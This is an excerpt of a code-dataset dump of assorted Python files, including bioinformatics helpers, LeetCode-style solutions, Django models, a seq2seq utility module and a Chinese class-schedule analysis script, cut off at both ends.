'_assembly.fasta'\r\n\r\n\twith open(os.path.join(in_dir,out_file),'w') as o:\r\n\t\tfor key in in_dict:\r\n\t\t\tcount = 0\r\n\t\t\tfor data in conversion:\r\n\t\t\t\tif key == data[0]:\r\n\t\t\t\t\tcount = count + 1\r\n\t\t\t\t\to.write(data[1])\r\n\t\t\t\t\to.write('\\t')\r\n\t\t\tif count == 0:\r\n\t\t\t\tprint('not good')\r\n\t\t\to.write(in_dict[key])\r\n\t\t\to.write('\\n')\r\n\r\n\tconversion_out = strain + '_conversion.txt'\r\n\r\n\twith open(os.path.join(in_dir,conversion_out),'w') as o:\r\n\t\twriter = csv.writer(o,delimiter='\\t')\r\n\t\twriter.writerows(conversion)","sub_path":"rename_contigs.py","file_name":"rename_contigs.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"321266848","text":"import os\nfrom os.path import isfile, join\n\nos.chdir('../Data/Training Data/')\n\nnegative_files = ['Negative/' + f for f in os.listdir('Negative/') if isfile(join('Negative/', f))]\nnon_negative_files = ['Non-negative/' + f for f in os.listdir('Non-negative/') if isfile(join('Non-negative/', f))]\n\nnumWords = []\nfor n in negative_files:\n with open(n, 'r', encoding='utf-8') as f:\n line = f.readline()\n counter = len(line.split())\n numWords.append(counter)\nprint('Negative files finished')\n\nfor nn in non_negative_files:\n with open(nn, 'r', encoding='utf-8') as f:\n line = f.readline()\n counter = len(line.split())\n numWords.append(counter)\nprint('Non-negative files finished')\n\nnumFiles = len(numWords)\nprint('The total number of files is', numFiles)\nprint('The total number of words in the files is', sum(numWords))\nprint('The average number of words in the files is', sum(numWords) / len(numWords))\n\n'''\nThe total number of files is 313217\nThe total number of words in the files is 22134493\nThe average number of words in the files is 70.66823639840749\n'''","sub_path":"Bot/metadata.py","file_name":"metadata.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"155612027","text":"import requests\nimport json\n\n\ndef soops_destroy(api_base, auth, data):\n url = api_base + 'api/soops/delete/list'\n\n headers = {\n \"Authorization\": auth\n }\n\n reply = requests.post(url, headers=headers, data=json.dumps(data))\n\n return reply\n","sub_path":"lambda_func/api/soops/delete/list/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"401364168","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Mar 08 10:19:45 2016\n\n@author: xzk\n\"\"\"\n\nclass Solution(object):\n def partition(self, s):\n \"\"\"\n :type s: str\n :rtype: List[List[str]]\n \"\"\"\n res = []\n for i in range(1, len(s)+1):\n if s[:i] == s[i-1::-1]:\n for rest in self.partition(s[i:]):\n res.append([s[:i]]+rest)\n if not res:\n return [[]]\n return res\n \n def partition2(self, s):\n \"\"\"\n :type s: str\n :rtype: List[List[str]]\n \"\"\"\n return [[s[:i]] + rest\n for i in xrange(1, len(s)+1)\n if s[:i] == s[i-1::-1]\n for rest in self.partition(s[i:])] or [[]]","sub_path":"131Palindrome Partitioning.py","file_name":"131Palindrome Partitioning.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"78347461","text":"from termcolor import colored\nimport h5py\nimport vui.infrastructure.locator as locator\nimport vui.dataset.pipeline as pipeline\n\nconfig = locator.get_config()\nfilesystem = locator.get_filesystem_provider()\nfrontend = locator.get_frontend_processor()\n\n\ndef main():\n status(\"Caching Mix...\")\n cache(\"t_mx_Mix\")\n\n status(\"Caching Speech Commands...\")\n labels = pipeline.get_hdf_storage(\n 'r', \"s_en_SpeechCommands\").get_dataset_list()\n for label in labels:\n cache(\"s_en_SpeechCommands\", label)\n status(\"✓ - {}\".format(label))\n\n status(\"Finished!\")\n\n\ndef cache(dataset_name: str, label: str = \"\"):\n raw_dataset_path = filesystem.get_dataset_path('r', dataset_name)\n harmonics_dataset_path = filesystem.get_dataset_path('h', dataset_name)\n\n with h5py.File(raw_dataset_path, 'r') as f1:\n with h5py.File(harmonics_dataset_path, 'a') as f2:\n dset1 = f1[\"data/\" + label]\n length = len(dset1)\n dset2 = f2.create_dataset(\"data/\" + label, dtype=\"float32\",\n shape=(\n length, config.frontend_shape[0], config.frontend_shape[1]),\n compression=\"lzf\")\n dset2[:] = frontend.process(dset1)\n\n\ndef status(text: str):\n print(colored(text, 'green'))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"vui/scripts/cache_frontend.py","file_name":"cache_frontend.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"146388442","text":"#!/usr/bin/env python\n\"\"\"\nA simple command-line tool to query and set schema version \ninformation in a stampede database. Will also upgrade an \nexisting database to a newer schema version.\n\nWill need to be run as a user that has CREATE | ALTER TABLE \npermissions in the database.\n\nRequires a standard SQLALchemy connection string.\n\"\"\"\n\n__rcsid__ = \"$Id: schema_tool.py 29514 2012-01-23 18:22:03Z mgoode $\"\n__author__ = \"Monte Goode\"\n\nimport os\nimport sys\nimport logging\nimport subprocess\n\n# use pegasus-config to get basic pegasus settings\nbin_dir = os.path.join(os.path.normpath(os.path.join(os.path.dirname(sys.argv[0]))), \"../../../bin\")\npegasus_config = os.path.join(bin_dir, \"pegasus-config\") + \" --noeoln --python\"\nlib_dir = subprocess.Popen(pegasus_config, stdout=subprocess.PIPE, shell=True).communicate()[0]\npegasus_config = os.path.join(bin_dir, \"pegasus-config\") + \" --noeoln --python-externals\"\nlib_ext_dir = subprocess.Popen(pegasus_config, stdout=subprocess.PIPE, shell=True).communicate()[0]\n\n# Insert this directory in our search path\nos.sys.path.insert(0, lib_ext_dir)\nos.sys.path.insert(0, lib_dir)\n\nfrom Pegasus.netlogger.analysis.schema.schema_check import ConnHandle, SchemaCheck\nfrom Pegasus.netlogger.nllog import OptionParser, get_logger, get_root_logger\n\ndef main():\n usage = \"%prog {-c | -u} connString='required' mysql_engine='optional'\"\n desc = ' '.join(__doc__.split())\n parser = OptionParser(usage=usage, description=desc)\n parser.add_option('-c', '--check', dest='schema_check', action='store_true',\n default=False, help=\"Perform a schema check\")\n parser.add_option('-u', '--upgrade', dest='upgrade', action='store_true',\n default=False, help=\"Upgrade database to current version.\")\n options, args = parser.parse_args(sys.argv[1:])\n log = get_logger(__file__)\n \n if len(args) == 0:\n parser.print_help()\n parser.error(\"Option flag and connection string required.\")\n\n if log.getEffectiveLevel() >= logging.DEBUG:\n get_root_logger().setLevel(logging.INFO)\n\n num_modes = (0,1)[bool(options.schema_check)] + (0,1)[bool(options.upgrade)]\n if num_modes > 1:\n parser.error('Choose only one option flag')\n \n init = {}\n for a in args:\n k,v = a.split('=')\n if k in ['connString', 'mysql_engine']:\n init[k] = v\n \n conn = ConnHandle(**init)\n s_check = SchemaCheck(conn.get_session())\n \n if options.schema_check:\n log.info('Executing schema check')\n s_check.check_schema()\n elif options.upgrade:\n log.info('Performing upgrade')\n s_check.upgrade()\n pass\n \nif __name__ == '__main__':\n main()\n","sub_path":"share/pegasus/sql/schema_tool.py","file_name":"schema_tool.py","file_ext":"py","file_size_in_byte":2711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"324857950","text":"import sys\r\n\r\nread = sys.stdin.readline\r\nINF = int(1e9)\r\nn, m = map(int,read().split())\r\nedges = []\r\ndistance = [INF] * (n + 1)\r\n\r\nfor _ in range(m):\r\n a, b, c = map(int,read().split())\r\n edges.append((a,b,c))\r\ndef b_f():\r\n distance[1] = 0\r\n for i in range(n):\r\n for j in range(m):\r\n x = edges[j][0]\r\n y = edges[j][1]\r\n z = edges[j][2]\r\n if distance[x] != INF and distance[y] > distance[x]+z:\r\n # print(distance)\r\n # print(j)\r\n distance[y] = distance[x]+z\r\n if i == n - 1:\r\n return True\r\n return False\r\n\r\nresult = b_f()\r\nif result:\r\n print(\"-1\")\r\nelse:\r\n for i in range(2,n+1):\r\n if distance[i] == INF:\r\n print(\"-1\")\r\n else:\r\n print(distance[i])","sub_path":"Hyogu/11657.py","file_name":"11657.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"69339502","text":"#deveria funcionar\n\nn=int(input(\"numero NxN :\"))\nm=[]\n#xxx=0\n#cont=0\n#cont1=1\nfor i in range(n):\n x=[]\n for j in range(n):\n cont = 0\n while True:\n if i == cont or j == cont or i == n - (cont + 1) or j == n - (cont + 1):\n a = cont + 1\n x.append(a)\n # print(\"{:<3}\".format(x), end=' ') \n break\n cont += 1\n \n \n m.append(x)\n #cont+=1\n #cont1+=1\nprint(m)\n\n\n\nprint()\n\nfor l in range (n):\n for c in range (n):\n\n print(f\"[{m[l][c]}]\",end='')\n print()\n\n\n\"\"\" if cont==0:\n if i == 0 or j ==0 or j==(n-1) or i==(n-1):\n x.append(1)\n cont+=1\n \nelif cont>=1:\n if (i-cont)==0 or (j-cont)==0 or j==(n-(cont+1)) or i ==(n-(cont+1)):\n x.append(1+cont)\n cont+=1\"\"\"\n\n\"\"\"while True:\n if cont==0:\n if i == 0 or j ==0 or j==(n-1) or i==(n-1):\n x.append(1)\n cont+=1\n break\n else:\n break\n elif cont>=1:\n if (i-cont)==0 or (j-cont)==0 or j==(n-(cont+1)) or i ==(n-(cont+1)):\n x.append(1+cont)\n cont+=1\n break\n else:\n break \"\"\"\n\n\n\"\"\" if j<(n/2):\n if i == 0 or j ==0 or j==(n-1) or i==(n-1):\n x.append(1)\n #cont+=1\n #cont1+=1\n print(cont,cont1)\n \n elif (i-cont)==0 or (j-cont)==0 or j==(n-(cont1)) or i ==(n-(cont1)):\n x.append(cont)\n #cont+=1\n #cont1+=1 \n print(\"TA NO ELIF\")\n elif j>(n/2):\n if (i-cont)==0 or (j-cont)==0 or j==cont1 or i ==cont1:\n x.append(cont)\n #cont+=1\n #cont1+=1 \n print(\"TA NO ELIF\")\"\"\"","sub_path":"matriz/ex3.py","file_name":"ex3.py","file_ext":"py","file_size_in_byte":1936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"635293973","text":"class Solution:\n\t# @param A, a list of integers\n\t# @return an integer\n\tdef firstMissingPositive(self, A):\n\t\tif len(A) == 0:\n\t\t\treturn 1\n\t\tmx = max(A)\n\t\tif mx <= 0:\n\t\t\treturn 1\n\t\tfor i in range (1, mx):\n\t\t\tif A.count(i) == 0:\n\t\t\t\treturn i\n\t\treturn mx + 1\n\ns = Solution()\nA = [1, 1000]\nB = [3, 4, -1, 1]\nprint(s.firstMissingPositive(A))\nprint(s.firstMissingPositive(B))\n","sub_path":"first=missing-positive.py","file_name":"first=missing-positive.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"114604140","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport variables\n\n\"\"\"Determines which hand is winning.\"\"\"\n\n\ndef rank_color(hand):\n \"\"\"Return the rank and the color of the hand given.\"\"\"\n rank = list()\n color = list()\n for card in hand:\n card = card.split(\" \")\n rank.append(card[0])\n color.append(card[-1])\n return (rank, color)\n\n\ndef value(hand):\n \"\"\"Return the value of the hand.\"\"\"\n (rank, color) = rank_color(hand)\n","sub_path":"winninghand.py","file_name":"winninghand.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"494239474","text":"from django.db import models\nfrom django.contrib.auth.models import AbstractUser\n\nfrom django.shortcuts import reverse\n\nfrom django.core.validators import MinValueValidator, MaxValueValidator\nfrom django.core.exceptions import ValidationError\n\n# Create your models here.\n\n\ndef is_Esprit_Email(value):\n \"\"\"\n Tests if an email ends with @esprit.tn\n\n Args:\n value (any): model or form attribut value\n\n Returns:\n Boolean: if required constraints are met\n \"\"\"\n\n if not str(value).endswith('@esprit.tn'):\n raise ValidationError(\n 'Your email must be @esprit.tn', params={'value': value})\n return value\n\n\nclass User(AbstractUser):\n \"\"\" first_name = models.CharField(verbose_name=\"Prénom\", max_length=30)\n last_name = models.CharField(verbose_name=\"Nom\", max_length=30)\"\"\"\n\n email = models.EmailField(\n verbose_name=\"Email\",\n null=False,\n validators=[\n is_Esprit_Email\n ]\n )\n\n def __str__(self):\n return f\"{self.first_name} {self.last_name}\"\n\n\nclass Student(User):\n def get_absolute_url(self):\n return reverse('student_List')\n\n class Meta:\n verbose_name = 'Student'\n verbose_name_plural = 'Students'\n\n\nclass Coach(User):\n class Meta:\n verbose_name = 'Coach'\n verbose_name_plural = 'Coachs'\n\n\nclass Project(models.Model):\n project_name = models.CharField(\n verbose_name=\"Titre du projet\", max_length=50)\n project_duration = models.IntegerField(\n verbose_name=\"Durée Estimée\",\n default=0\n )\n time_allocated = models.IntegerField(\n verbose_name=\"Temps Alloué\",\n validators=[\n MinValueValidator(1, 'The minimum time allowed is 1 hour'),\n MaxValueValidator(10, 'The maximum time allowed is 10 hours')\n ]\n )\n needs = models.TextField(verbose_name=\"Besoins\", max_length=250)\n description = models.TextField(max_length=250)\n\n isValid = models.BooleanField(default=False)\n\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n\n creator = models.OneToOneField(\n to=Student,\n on_delete=models.CASCADE,\n related_name=\"project_owner\"\n )\n\n supervisor = models.ForeignKey(\n to=Coach,\n on_delete=models.SET_NULL,\n blank=True,\n null=True,\n related_name=\"project_coach\"\n )\n\n members = models.ManyToManyField(\n to=Student,\n blank=True,\n related_name='Les_Membres',\n through='MembershipInProject',\n )\n\n def get_absolute_url(self):\n return reverse('project_list')\n\n def __str__(self):\n return self.project_name\n\n\nclass MembershipInProject (models.Model):\n project = models.ForeignKey(\n Project,\n on_delete=models.CASCADE,\n )\n\n student = models.ForeignKey(\n Student,\n on_delete=models.CASCADE,\n )\n\n time_allocated_by_member = models.IntegerField(\n 'Temps alloué par le membre', default=0,\n )\n\n def __str__(self):\n return f\"Member: {self.student.last_name} {self.student.first_name} in {self.project.project_name}\"\n\n class Meta:\n unique_together = (\"project\", \"student\")\n","sub_path":"hub/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"344955680","text":"import os\nimport pickle\nimport copy\nimport nltk\nimport numpy as np\nimport tensorflow as tf\n\nCODES = {'': 0, '': 1, '': 2, '': 3 }\n\ndef text_to_ids(source_text, target_text, source_vocab_to_int, target_vocab_to_int):\n \"\"\"\n Convert source and target text to corresponding word ids\n \"\"\"\n # convert source text to the corresponding id\n source_id_text = []\n for text in source_text.split('\\n'):\n source_id_text.append([source_vocab_to_int.get(word, source_vocab_to_int['']) for word in text.split()])\n \n # convert source text to the corresponding id\n target_id_text = []\n for text in target_text.split('\\n'):\n target_id_text.append([target_vocab_to_int.get(word, target_vocab_to_int['']) for word in text.split()] \\\n + [target_vocab_to_int['']])\n \n return source_id_text, target_id_text\n\n# def remove_lines(path):\n# input_file = os.path.join(path)\n# with open(input_file, 'r', encoding='utf-8') as f:\n# data = []\n# line = f.readline()\n# while line:\n# line = f.readline()\n# if(len(line) <= 50):\n# line = line.rstrip()\n# data.append(line)\n# with open('', 'w') as f:\n\ndef load_data(path):\n \"\"\"\n Load Dataset from File\n \"\"\"\n input_file = os.path.join(path)\n with open(input_file, 'r', encoding='utf-8') as f:\n return f.read()\n\n\ndef preprocess_and_save_data(source_path, target_path, save_path):\n # Preprocess Text Data. Save to to file.\n \n # Preprocess\n source_text = load_data(source_path)\n target_text = load_data(target_path)\n\n source_text = source_text.lower()\n target_text = target_text.lower()\n\n source_vocab_to_int, source_int_to_vocab = create_lookup_tables(source_text)\n target_vocab_to_int, target_int_to_vocab = create_lookup_tables(target_text)\n\n source_text, target_text = text_to_ids(source_text, target_text, source_vocab_to_int, target_vocab_to_int)\n\n # Save Data\n # with open('preprocess.p', 'wb') as out_file:\n with open(save_path, 'wb') as out_file:\n pickle.dump((\n (source_text, target_text),\n (source_vocab_to_int, target_vocab_to_int),\n (source_int_to_vocab, target_int_to_vocab)), out_file)\n\n\ndef preprocess(source_path, target_path, source_vocab_to_int, target_vocab_to_int):\n # Preprocess Text Data.\n\n # Preprocess\n source_text = load_data(source_path)\n target_text = load_data(target_path)\n\n source_text = source_text.lower()\n target_text = target_text.lower()\n\n source_text, target_text = text_to_ids(source_text, target_text, source_vocab_to_int, target_vocab_to_int)\n\n return source_text, target_text\n\ndef load_preprocess(data_path):\n \n #Load the Preprocessed Training data and return them in batches of or less\n \n # with open('preprocess.p', mode='rb') as in_file:\n with open(data_path, mode='rb') as in_file:\n return pickle.load(in_file)\n\n\ndef create_lookup_tables(text):\n \"\"\"\n Create lookup tables for vocabulary\n \"\"\"\n vocab = set(text.split())\n vocab_to_int = copy.copy(CODES)\n\n for v_i, v in enumerate(vocab, len(CODES)):\n vocab_to_int[v] = v_i\n\n int_to_vocab = {v_i: v for v, v_i in vocab_to_int.items()}\n\n return vocab_to_int, int_to_vocab\n\n\ndef save_params(params, path):\n \"\"\"\n Save parameters to file\n \"\"\"\n with open(path, 'wb') as out_file:\n pickle.dump(params, out_file)\n\n\ndef load_params(path):\n \"\"\"\n Load parameters from file\n \"\"\"\n with open(path, mode='rb') as in_file:\n return pickle.load(in_file)\n\ndef pad_sentence_batch(sentence_batch, pad_int):\n \"\"\"Pad sentences with so that each sentence of a batch has the same length\"\"\"\n max_sentence = max([len(sentence) for sentence in sentence_batch])\n return [sentence + [pad_int] * (max_sentence - len(sentence)) for sentence in sentence_batch]\n\n\ndef get_batches(sources, targets, batch_size, source_pad_int, target_pad_int):\n \"\"\"Batch targets, sources, and the lengths of their sentences together\"\"\"\n for batch_i in range(0, len(sources)//batch_size):\n start_i = batch_i * batch_size\n\n # Slice the right amount for the batch\n sources_batch = sources[start_i:start_i + batch_size]\n targets_batch = targets[start_i:start_i + batch_size]\n\n # Pad\n pad_sources_batch = np.array(pad_sentence_batch(sources_batch, source_pad_int))\n pad_targets_batch = np.array(pad_sentence_batch(targets_batch, target_pad_int))\n\n # Need the lengths for the _lengths parameters\n pad_targets_lengths = []\n for target in pad_targets_batch:\n pad_targets_lengths.append(len(target))\n\n pad_source_lengths = []\n for source in pad_sources_batch:\n pad_source_lengths.append(len(source))\n\n yield pad_sources_batch, pad_targets_batch, pad_source_lengths, pad_targets_lengths\n\n\ndef get_bleu(target, logits):\n \"\"\"\n Calculate the bleu score\n \"\"\"\n bleu_scores = [nltk.translate.bleu_score.sentence_bleu([ref], hypo, smoothing_function=nltk.translate.bleu_score.SmoothingFunction().method4) * 100 for ref, hypo in zip(target, logits)]\n # return np.mean(bleu_scores)\n return bleu_scores, logits\n\n\ndef save_list(path, list_data):\n n_data = np.array(list_data)\n np.save(path, n_data)\n\n\ndef read_list(path):\n list_read = np.load(path).tolist()\n return list_read\n\n\ndef get_pro(x, idx):\n idx = tf.reshape(idx, [-1])\n idx_flattened = tf.range(0, x.shape[1] * x.shape[0]) * x.shape[2] + idx\n y = tf.gather(tf.reshape(x, [-1]), # flatten input\n idx_flattened) # use flattened indices\n # x = tf.reshape(x, [-1])\n y = tf.reshape(y, [x.shape[0], -1])\n return y\n\n\n","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":5829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"606638256","text":"class Solution(object):\n\n def lengthOfLongestSubstring_brute(self, s):\n \"\"\"\n Given a string, find the length of the longest substring without repeating characters.\n\n Brute force solution, O(n^2) time complexity.\n\n\n Parameters\n ----------\n s : str\n\n\n Returns\n -------\n ret : int\n\n \"\"\"\n\n ret = 0\n for start in range(len(s)):\n for end in range(start, len(s)):\n test = s[start:end + 1]\n if len(test) == len(\"\".join(set(test))):\n if len(test) > ret:\n ret = len(test)\n return ret\n\n def lengthOfLongestSubstring(self, s):\n \"\"\"\n Given a string, find the length of the longest substring without repeating characters.\n\n DP solution.\n\n\n Runtime: 628 ms, faster than 12.13% of Python3 online submissions for Longest Substring Without Repeating Characters.\n Memory Usage: 25.6 MB, less than 5.03% of Python3 online submissions for Longest Substring Without Repeating Characters.\n\n\n Parameters\n ----------\n s : str\n\n\n Returns\n -------\n ret : int\n\n\n Examples\n --------\n >>> Solution().lengthOfLongestSubstring('abcabcbb')\n 3\n >>> Solution().lengthOfLongestSubstring('qrebtmppwuuhapcegnaon')\n 8\n >>> Solution().lengthOfLongestSubstring('sarppvkakhasannaeptjdyqpgt')\n 9\n >>> Solution().lengthOfLongestSubstring('txtuuasalcipqdcfnvybjmynsqlaepaanvujxokkruzhxeokzmnkalxsdisiauinsey')\n 12\n >>> Solution().lengthOfLongestSubstring('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb')\n 1\n\n \"\"\"\n ret = 0\n mem = {}\n\n def iterate(sng):\n nonlocal mem\n nonlocal ret\n\n if sng in mem:\n return 0\n else:\n mem[sng] = 1\n max_chunk = len(\"\".join(set(sng)))\n if max_chunk is 1 or max_chunk is 2:\n return max_chunk\n\n s_len = len(sng)\n if max_chunk <= ret:\n return 0\n if s_len == max_chunk:\n ret = s_len\n return s_len\n\n return max(map(iterate, [sng[i:i + max_chunk] for i in range(0, len(sng) - max_chunk + 1)]))\n\n return iterate(s)\n","sub_path":"algorithms/3_Longest_Substring_Without_Repeating_Characters.py","file_name":"3_Longest_Substring_Without_Repeating_Characters.py","file_ext":"py","file_size_in_byte":2366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"314319834","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jun 15 00:15:47 2018\n\n@author: bianl\n\"\"\"\n\n\ndef GetIndex( CLASS_DATE_POS ):\n \"\"\"\n function: 根据用户输入的起始日期和班表中的日期,计算所需循环数据的角标index。\n :param CLASS_DATE_POS: 常量,表示班表中日期位于第几列。\n :return: 班表中起始到终止数据的index,[start, end]。\n st, ft, mindate, maxdate在输出报告中会用到。\n \"\"\"\n\n # 转换excel日期到datetime格式,并找到table中的最小和最大日期。\n # 注意,excel中的日期格式应为2018/10/22形式,其他形式需在excel中先进行预处理。\n mindate = xlrd.xldate_as_datetime(table.row_values(1)[CLASS_DATE_POS], 0) # 班表中的最早日期。\n maxdate = xlrd.xldate_as_datetime(table.row_values(rows - 1)[CLASS_DATE_POS], 0) # 班表中的最晚日期。\n\n # 根据用户输入的时间范围,找出table中的index\n while True:\n # 输入查询的起始与终止时间,不做任何输入直接回车表示使用Default value,即班表中的全部时间。\n st = input(\"Please enter start date (e.g. 2015-12-21): \")\n ft = input(\"Please enter end date (e.g. 2015-12-21): \")\n\n if len(st) < 1: # Default value, 从第1行开始(第0行为header)\n start = 1\n else:\n try:\n stmp = datetime.datetime.strptime(st, \"%Y-%m-%d\") # str转datetime\n if stmp <= mindate:\n start = 1\n else:\n for i in range(1, rows - 1):\n curdate = xlrd.xldate_as_datetime(table.row_values(i)[CLASS_DATE_POS], 0)\n if curdate == stmp:\n start = i\n break\n except:\n print(\"Please re-enter start date in this 2015-12-21 format. \")\n continue\n\n if len(ft) < 1: # Default value, 在最后一行结束(Python下标从0开始,故最后一行index比excel小1)\n end = rows - 1\n break\n else:\n try:\n etmp = datetime.datetime.strptime(ft, \"%Y-%m-%d\")\n if etmp >= maxdate:\n end = rows - 1\n else:\n for i in range(max(2, start), rows - 1): # i至少从2开始\n curdate = xlrd.xldate_as_datetime(table.row_values(i)[CLASS_DATE_POS], 0)\n predate = xlrd.xldate_as_datetime(table.row_values(i - 1)[CLASS_DATE_POS], 0)\n if predate <= etmp and curdate > etmp:\n end = i - 1\n break\n break\n except:\n print(\"Please re-enter end date in this 2015-12-21 format. \")\n continue\n return [start, end, st, ft, mindate, maxdate]\n\n\ndef GetDep( DEPT_TYPE ):\n \"\"\"\n function: 根据用户输入,确定所选部门。\n :param DEPT_TYPE: 常量,包含所有的部门名称。\n :return: Dep,用户所选部门。\n \"\"\"\n\n while True:\n # 输入要查询的项目部门。\n # 不做任何输入直接回车表示使用Default value,即班表中的所有部门。\n Dep = input(\"Please input department: '北美项目部', '英联邦项目部' or both(press Enter directly) \")\n if Dep in DEPT_TYPE or len(Dep) < 1:\n break\n else:\n print(\"Please re-enter department name\")\n return Dep\n\n\ndef GetClassname( CLASS_TYPE ):\n \"\"\"\n function: 根据用户输入,确定所选课程类型。\n :param CLASS_TYPE: 常量,包括所有的课程类型。\n :return: cyconsts, 用户所选课程类型。\n \"\"\"\n\n while True:\n # 显示课程项目提示信息。\n print(\"共有7种课程项目,分别为:\")\n print([keys for keys in CLASS_TYPE.keys()], end=\" \")\n\n # Class Type constraints\n # 输入要查询的课程类型。\n # 不做任何输入直接回车表示使用Default value,即班表中的所有课程。\n cyconsts = input(\"Please input class type: (press Enter directly = select all the type) \")\n if cyconsts in CLASS_TYPE.keys() or len(cyconsts) < 1:\n break\n else:\n print(\"Please re-enter class type name\")\n return cyconsts\n\n\ndef isinClassType(CLASS_TYPE, Classprogram, CurrentClass, StudentNum):\n \"\"\"\n function: 检查班表中的当前课程是否满足用户所选的约束条件。\n :param\n CLASS_TYPE: 包含所有的课程类型,dict{课程项目名(str):[课程包含关键字](list)};\n Classprogram: 课程类型名(str),一般表示用户所选的课程类型;\n CurrentClass: 当前课程名(str);\n StudentNum: 学生人数(str);\n :return: True if当前课程CurrentClass,属于(用户选择的)课程类型Classprogram; False otherwise。\n \"\"\"\n\n flag = False\n if \"VIP\" in Classprogram: # VIP课一定是1对1 或 6人\n if StudentNum != \"1对1\" and StudentNum != \"6人\":\n return False\n if \"班级\" in Classprogram: # 班级项目一定不是 1对1 或 6人的\n if StudentNum == \"1对1\" or StudentNum == \"6人\":\n return False\n for i in range(len(CLASS_TYPE[Classprogram])):\n if CLASS_TYPE[Classprogram][i] in CurrentClass:\n flag = True\n return flag\n\n\n\n# --------------------------- Script --------------------------\n# 根据班表,计算一段时间内,某部门(或全部),某课程(或全部)的产能,与各教师在其中的产能列表。\n# 输出2个txt文档:Summary.txt 和 Classes_table.txt;\n# 输出1个excel文档:Teacher_List.xlsx。\n\n# 适用于201805的数据,配课表明细16.6.1-18.5.31.xlsx,课次 & 总课次格式。\n# 相比于Xdf_Overall_Script_v1.py,v2版本:\n# 1.增加了注释;\n# 2.程序模块化,尽量使用多个函数来实现脚本内容;\n# 3.设定了一些常量,这样在班表格式改变时做出简单的修改即可。\n\nimport datetime\nimport xlrd\nfrom openpyxl import Workbook\n\n# 需要用到的一些常量。\nCLASS_SCHEDULE_FILE = \"配课表明细16.6.1-18.5.31.xlsx\" # excel格式的配课表文件名。\nDEPT_TYPE = [\"北美项目部\", \"英联邦项目部\"] # 所有的项目部门。\n# 所有的课程类型。\nCLASS_TYPE = {\"英联邦VIP\": [\"雅思\", \"IELTS\"], \"雅思班级\": [\"雅思\", \"IELTS\"],\n \"托福VIP\": [\"TOEFL\"], \"托福班级\": [\"TOEFL\"],\n \"美研\": [\"GRE\", \"GMAT\"], \"美本\": [\"SSAT\", \"SAT\", \"ACT\", \"AP\", \"北美本科精英\"],\n \"其他\": [\"企业培训班\", \"英联邦中学\", \"国际英语实验班\", \"TOEIC\", \"海外留学菁英\"]}\nDEPT_POS = 0 # 部门信息位于excel中的第几列(从0开始),例如,D列即为3,第3列。\nCLASS_NUM = 1 # 课号信息(班级编码)位于excel中的第几列(从0开始)。\nCLASS_POS = 2 # 课程种类信息位于excel中的第几列(从0开始)。\nCLASS_DATE_POS = 3 # 上课日期位于excel中的第几列(从0开始)\nFEE_POS = 4 # 学费信息位于excel中的第几列(从0开始)。\nTEACHERS_POS = 5 # 教师姓名信息位于excel中的第几列(从0开始)。\nSTU_CAP_POS = 7 # 班级容量信息位于excel中的第几列(从0开始)。\nOPENDATE_POS = 8 # 开班日期信息位于excel中的第几列(从0开始)。\nCLOSEDATE_POS = 9 # 结课日期信息位于excel中的第几列(从0开始)。\nCLASS_TIMES_POS = 10 # 总课次信息位于excel中的第几列(从0开始)。\nSTU_NUM_POS = 11 # 当前学生数量信息位于excel中的第几列(从0开始)。\n\n\n# CLASS_SCHEDULE_FILE = \"FY19国外配课表.xlsx\" # excel格式的配课表文件名。\n# DEPT_TYPE = [\"北美项目部\", \"英联邦项目部\"] # 所有的项目部门。\n# # 所有的课程类型。\n# CLASS_TYPE = {\"英联邦VIP\": [\"雅思\", \"IELTS\", \"GCSE\"], \"雅思班级\": [\"雅思\", \"IELTS\"],\n# \"托福VIP\": [\"TOEFL\"], \"托福班级\": [\"TOEFL\"],\n# \"美研\": [\"GRE\", \"GMAT\"], \"美本\": [\"SSAT\", \"SAT\", \"ACT\", \"AP\", \"北美本科精英\"],\n# \"其他\": [\"企业培训班\", \"英联邦中学\", \"国际英语实验班\", \"TOEIC\", \"海外留学菁英\"]}\n# DEPT_POS = 17 # 部门信息位于excel中的第几列(从0开始),例如,D列即为3,第3列。\n# CLASS_NUM = 0 # 课号信息(班级编码)位于excel中的第几列(从0开始)。\n# CLASS_POS = 1 # 课程种类信息位于excel中的第几列(从0开始)。\n# CLASS_DATE_POS = 3 # 上课日期位于excel中的第几列(从0开始)\n# FEE_POS = 2 # 学费信息位于excel中的第几列(从0开始)。\n# TEACHERS_POS = 11 # 教师姓名信息位于excel中的第几列(从0开始)。\n#\n# 